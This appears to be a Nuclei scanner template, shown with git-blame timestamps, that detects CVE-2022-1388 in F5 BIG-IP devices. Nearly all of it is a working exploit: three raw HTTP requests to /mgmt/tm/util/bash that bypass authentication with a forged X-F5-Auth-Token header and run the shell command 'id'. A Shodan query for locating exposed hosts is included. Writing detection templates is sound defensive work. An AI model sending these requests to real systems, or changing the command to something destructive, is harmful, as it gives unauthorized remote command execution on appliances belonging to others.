2022-05-09 07:53:05 +00:00
|
|
|
id: CVE-2022-1388
|
|
|
|
|
|
|
|
info:
|
2022-05-10 21:07:09 +00:00
|
|
|
name: F5 BIG-IP iControl - REST Auth Bypass RCE
|
2022-05-09 13:57:14 +00:00
|
|
|
author: dwisiswant0,Ph33r
|
2022-05-09 07:53:05 +00:00
|
|
|
severity: critical
|
|
|
|
description: |
|
2022-05-10 21:07:09 +00:00
|
|
|
This F5 BIG-IP vulnerability can allow an unauthenticated attacker
|
2022-05-09 07:53:05 +00:00
|
|
|
with network access to the BIG-IP system through the management
|
2022-05-10 21:07:09 +00:00
|
|
|
port and/or self IP addresses to execute arbitrary system commands.
|
2022-05-09 07:53:05 +00:00
|
|
|
reference:
|
2022-05-09 08:40:31 +00:00
|
|
|
- https://twitter.com/GossiTheDog/status/1523566937414193153
|
2022-05-09 07:53:05 +00:00
|
|
|
- https://support.f5.com/csp/article/K23605346
|
2022-05-10 21:07:09 +00:00
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
|
2022-05-09 08:58:57 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.80
|
|
|
|
cve-id: CVE-2022-1388
|
|
|
|
cwe-id: CWE-306
|
2022-05-09 09:37:01 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
|
|
|
|
verified: true
|
2022-05-10 21:07:09 +00:00
|
|
|
tags: f5,bigip,cve,cve2022,rce,mirai
|
2022-05-09 09:37:01 +00:00
|
|
|
|
|
|
|
variables:
|
|
|
|
auth: "admin:"
|
2022-05-09 08:36:32 +00:00
|
|
|
|
2022-05-09 07:53:05 +00:00
|
|
|
requests:
|
|
|
|
- raw:
|
2022-05-10 21:07:09 +00:00
|
|
|
- |+
|
2022-05-09 07:53:05 +00:00
|
|
|
POST /mgmt/tm/util/bash HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: keep-alive, X-F5-Auth-Token
|
|
|
|
X-F5-Auth-Token: a
|
2022-05-09 08:36:32 +00:00
|
|
|
Authorization: Basic {{base64(auth)}}
|
2022-05-09 07:53:05 +00:00
|
|
|
Content-Type: application/json
|
2022-05-10 21:07:09 +00:00
|
|
|
|
2022-05-09 07:53:05 +00:00
|
|
|
{
|
2022-05-10 21:07:09 +00:00
|
|
|
"command": "run",
|
|
|
|
"utilCmdArgs": "-c id"
|
2022-05-09 07:53:05 +00:00
|
|
|
}
|
2022-05-10 21:07:09 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2022-05-09 13:57:14 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "uid="
|
|
|
|
condition: and
|
2022-05-10 21:07:09 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "context=system_u"
|
|
|
|
- "commandResult"
|
|
|
|
condition: or
|
|
|
|
|
2022-05-09 13:57:14 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /mgmt/tm/util/bash HTTP/1.1
|
|
|
|
Host: localhost
|
|
|
|
Connection: keep-alive, X-F5-Auth-Token
|
|
|
|
X-F5-Auth-Token: a
|
|
|
|
Authorization: Basic {{base64(auth)}}
|
|
|
|
Content-Type: application/json
|
2022-05-10 21:07:09 +00:00
|
|
|
|
2022-05-09 13:57:14 +00:00
|
|
|
{
|
|
|
|
"command": "run",
|
|
|
|
"utilCmdArgs": "-c id"
|
|
|
|
}
|
2022-05-10 21:07:09 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2022-05-09 13:57:14 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "uid="
|
|
|
|
condition: and
|
2022-05-10 21:07:09 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "context=system_u"
|
|
|
|
- "commandResult"
|
|
|
|
condition: or
|
|
|
|
|
2022-05-09 13:57:14 +00:00
|
|
|
- raw:
|
2022-05-10 21:12:55 +00:00
|
|
|
- |
|
2022-05-09 13:57:14 +00:00
|
|
|
POST /mgmt/tm/util/bash HTTP/1.1
|
|
|
|
Host: localhost:8100
|
|
|
|
Connection: keep-alive, X-F5-Auth-Token
|
|
|
|
X-F5-Auth-Token: a
|
|
|
|
Authorization: Basic {{base64(auth)}}
|
|
|
|
Content-Type: application/json
|
2022-05-10 21:07:09 +00:00
|
|
|
|
2022-05-09 13:57:14 +00:00
|
|
|
{
|
|
|
|
"command": "run",
|
|
|
|
"utilCmdArgs": "-c id"
|
|
|
|
}
|
2022-05-10 21:07:09 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2022-05-09 07:53:05 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "uid="
|
2022-05-09 13:57:14 +00:00
|
|
|
condition: and
|
2022-05-10 21:07:09 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "context=system_u"
|
|
|
|
- "commandResult"
|
|
|
|
condition: or
|